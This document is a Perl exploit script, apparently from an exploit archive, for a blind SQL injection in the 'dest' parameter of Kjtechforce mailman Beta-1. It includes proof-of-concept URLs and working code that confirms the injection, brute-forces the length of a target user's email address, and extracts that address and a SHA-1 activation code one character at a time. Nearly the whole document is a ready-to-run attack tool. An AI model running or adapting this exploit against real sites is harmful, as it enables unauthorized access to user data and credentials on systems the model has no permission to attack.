Kjtechforce mailman b1 (dest) Remote Blind SQL Injection Exploit

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Kjtechforce mailman b1 (dest) Remote Blind SQL Injection Exploit
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#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#
#---------------------------------------------------------------------------------------------
#|                            ('dest') Blind (SQLi) EXPLOIT	                      	     |
#|-------------------------------------------------------------------------------------------|
#|                           |   Kjtechforce mailman Beta-1     |		    	     |
#|  CMS INFORMATION:          ----------------------------------	               	     |
#|										             |
#|-->WEB: http://sourceforge.net/projects/kjtechforce/			          	     |
#|-->DOWNLOAD: http://sourceforge.net/projects/kjtechforce/		                     |
#|-->DEMO: N/A										     |
#|-->CATEGORY: CMS / Mailer								     |
#|-->DESCRIPTION: The kjtechforce project has aimed at the tool making 		             |
#|		that supports kjclub.com from the outside...				     |
#|-->RELEASED: 2009-05-16								     |
#|											     |
#|  CMS VULNERABILITY:									     |
#|											     |
#|-->TESTED ON: firefox 3						                     |
#|-->DORK: N/A									             |
#|-->CATEGORY: BLIND SQL INJECTION EXPLOIT					             |
#|-->AFFECT VERSION: CURRENT						 		     |
#|-->Discovered Bug date: 2009-06-02							     |
#|-->Reported Bug date: 2009-06-02							     |
#|-->Fixed bug date: Not fixed								     |
#|-->Info patch: Not fixed							             |
#|-->Author: YEnH4ckEr									     |
#|-->WEB/BLOG: N/A									     |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.      |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		     |
#----------------------------------------------------------------------------------------------

#
#------------
#CONDITIONS:
#------------
#
#gpc_magic_quotes=OFF
#
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#http://[HOST]/[PATH]/index.php?id=3&dest=4%27+and+1=1%23 --> TRUE
#
#http://[HOST]/[PATH]/index.php?id=3&dest=4%27+and+1=0%23 --> FALSE
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title Kjtechforce mailman Beta-1 Blind SQLi Exploit");
		system ("color 02");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	$request = HTTP::Request -> new(GET => $_[0]);
	my $outcode= $userag->request($request)->as_string;
	#print $outcode; #--> Active this line for debugger mode
	return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
	print "\tWeb isn't vulnerable!\n\n";
	print "\t--->Maybe:\n\n";
	print "\t\t1.-Patched.\n";
	print "\t\t2.-Bad path or host.\n";
	print "\t\t3.-Magic quotes ON.\n";
	print "\t\tEXPLOIT FAILED!\n";
	print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
	print "\t-----------------------------------------------------------------\n";
	print "\tWEB MAYBE BE VULNERABLE!\n\n";
	print "\tTested Blind SQL Injection.\n";		
	print "\tStarting exploit...\n"; 
	print "\t-----------------------------------------------------------------\n\n";
}

sub helper {
	print "\n\t[!!!] Kjtechforce mailman Beta-1 Blind SQLi Exploit\n";
	print "\t[!!!] USAGE MODE: [!!!]\n";
	print "\t[!!!] perl $0 [HOST] [PATH] [Target_id]\n";
	print "\t[!!!] [HOST]: Web.\n";
	print "\t[!!!] [PATH]: Home Path.\n";
	print "\t[!!!] [Target_id]: Set Target id\n";
	print "\t[!!!] Example: perl $0 'www.example.com' 'path' '1'\n";
}
sub brute_length{
#Column length
$exit=0;
$i=0;
while($exit==0){
	my $blindsql=$_[0]."'+AND+(SELECT+length(address)+FROM+mailman_user+WHERE+id=".$_[1].")=".$i++."%23"; #injected code
	$output=&request($blindsql);
	if($output !~ (/is NOT MailMan User./)){
		$exit=1;
	}else{
		$exit=0;
	}
	#This is the max length of address or code
	if($i>40){
	&error;
	exit(1);
	}
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength catched!\n";
print "\tLength Address --> ".$length."\n";
print "\tWait several minutes...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing values
$values="";
$k=1;
	$z=45;
	while(($k<=$_[1]) && ($z<=126)){
		if($_[2] eq "code"){
			$blindsql=$_[0]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+mailman_activator+WHERE+user_id=".$_[3]."),".$k.",1))=".$z."%23";
		}else{
			$blindsql=$_[0]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+mailman_user+WHERE+id=".$_[3]."),".$k.",1))=".$z."%23";
		}
		$output=&request($blindsql);
		if ($output !~ (/is NOT MailMan User./))
		{
			$values=$values.chr($z);
			$k++;
			$z=45;
		}
#new char
	$z++; 
	}
return $values;
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t##           Kjtechforce mailman Beta-1              ##\n\n";
print "\t##           Blind SQL Injection Exploit             ##\n\n"; 
print "\t##       ++Conditions: magic_quotes=OFF              ##\n\n";
print "\t##               Author: Y3nh4ck3r                   ##\n\n";
print "\t##            Proud to be Spanish!                   ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
$numArgs = $#ARGV + 1;
if($numArgs<=1) 
	{
		&helper;
		exit(1);	
	}
if(!$ARGV[2]){
	$target_id=1;
}else{
	$target_id=$ARGV[2];
}	
#Build uri
my $finalhost="http://".$host."/".$path."/index.php?id=".$target_id."&dest=".$target_id;
$finalrequest = $finalhost;	
#Testing blind sql injection
$testblind1=$finalrequest."'+AND+1=0%23";
$output1=&request($testblind1);
$testblind2=$finalrequest."'+AND+1=1%23";
$output2=&request($testblind2);
if ($output1 eq $output2)
{    
	#Not injectable
	&error;
	exit(1); 
}else{ 
	#blind sql injection is available
	&testedblindsql;
}
#Bruteforcing length
$length_address=&brute_length($finalrequest,$target_id);	
#Bruteforcing username...
$address=&exploiting($finalrequest,$length_address,'address',$target_id);
$length_codesha1=40; #Encrypted Sha-1	
#Bruteforcing password...
$codesha1=&exploiting($finalrequest,$length_codesha1,'code',$target_id);
#final checking
if((!$address) || (!$codesha1)){
	&error;
	exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t*********  EXPLOIT EXECUTED SUCCESSFULLY ********\n";
print "\t\t*************************************************\n\n";
print "\t\tEmail address: ".$address."\n";
print "\t\tSha1 code: ".$codesha1."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
exit(1);
#Ok...all job done



#  0day.today [2018-03-19]  #